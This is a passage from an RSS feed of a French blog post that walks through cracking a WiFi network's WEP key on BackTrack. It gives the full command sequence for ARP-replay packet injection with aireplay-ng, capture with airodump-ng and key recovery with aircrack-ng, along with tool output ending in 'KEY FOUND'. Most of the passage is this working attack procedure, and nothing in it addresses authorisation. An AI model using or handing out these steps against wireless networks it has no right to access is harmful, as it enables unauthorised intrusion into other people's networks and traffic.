<p>//Essayons maintenant d&#8217;injecter des données histoire de voir si tout a fonctionné:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0<br />
12:04:07  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
Saving ARP requests in replay_arp-0726-120407.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets&#8230;(500 pps)</span></span></p>
<p>Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes.  Il faut parfois se ré-authentifier avant de lancer l&#8217;injection de donnée. Vous pouvez stopper l&#8217;injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:</p>
<p>// On sniffe l&#8217;interface sur laquelle nous avons travaillé:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng -w capture &#8211;channel 11 wifi0</span></span></p>
<p>// Les datas ne bougent alors pas beaucoup. On injecte donc les données:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0</span></span></p>
<p>//Enfin, on lance, en parallèle à l&#8217;envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n&#8217;est pas grave si lorsque vous lancez le crack il n&#8217;y a pas encore assez d&#8217;IVs, il est reloadé régulièrement.</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aircrack-ng capture-01.cap<br />
Opening capture-01.cap<br />
Read 121863 packets.</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">#  BSSID              ESSID                     Encryption</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">1  RESEAU-CRYPT2                   No data &#8211; WEP or WPA<br />
2  RESEAU-CRYPT3                   No data &#8211; WEP or WPA<br />
3  00:01:02:03:04:05               RESEAU-CRYPT              WEP (33689 IVs)<br />
4  RESEAU-CRYPT4                   No data &#8211; WEP or WPA<br />
5  RESEAU-CRYPT5                   None (0.0.0.0)<br />
6  RESEAU-CRYPT6                   No data &#8211; WEP or WPA<br />
7  RESEAU-CRYPT7                   No data &#8211; WEP or WPA</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Index number of target network ? 3</span></span></p>
<p>// On selectionne le ESSID sur lequel on a travaillé, et là magie:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Aircrack-ng 1.0 rc1 r1085</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">[00:00:03] Tested 1339440 keys (got 33677 IVs)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KB    depth   byte(vote)<br />
0    1/  2   2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)<br />
1    0/  1   A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)<br />
2    0/  1   FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)<br />
3    0/  1   BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)<br />
4    0/  2   3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)<br />
5    0/  1   A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)<br />
6    1/  2   16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)<br />
7    0/  2   7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)<br />
8    0/  1   75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)<br />
9    0/  1   F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)<br />
10   17/ 10   E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)<br />
11    0/  2   AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)<br />
12    0/  1   A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KEY FOUND! [blabla]<br />
Decrypted correctly: 100%</span></span></p>
<p>Si les suites air* ne vous sont pas familières, je vous conseille d&#8217;aller vous balader par ici:<br />
<a href="http://linux.die.net/man/1/airmon-ng" target="_blank">http://linux.die.net/man/1/airmon-ng</a><br />
<a href="http://linux.die.net/man/1/airodump-ng" target="_blank">http://linux.die.net/man/1/airodump-ng</a><br />
<a href="http://linux.die.net/man/1/aireplay-ng" target="_blank">http://linux.die.net/man/1/aireplay-ng</a><br />
<a href="http://linux.die.net/man/1/packetforge-ng" target="_blank">http://linux.die.net/man/1/packetforge-ng</a><br />
<a href="http://linux.die.net/man/1/aircrack-ng" target="_blank">http://linux.die.net/man/1/aircrack-ng</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
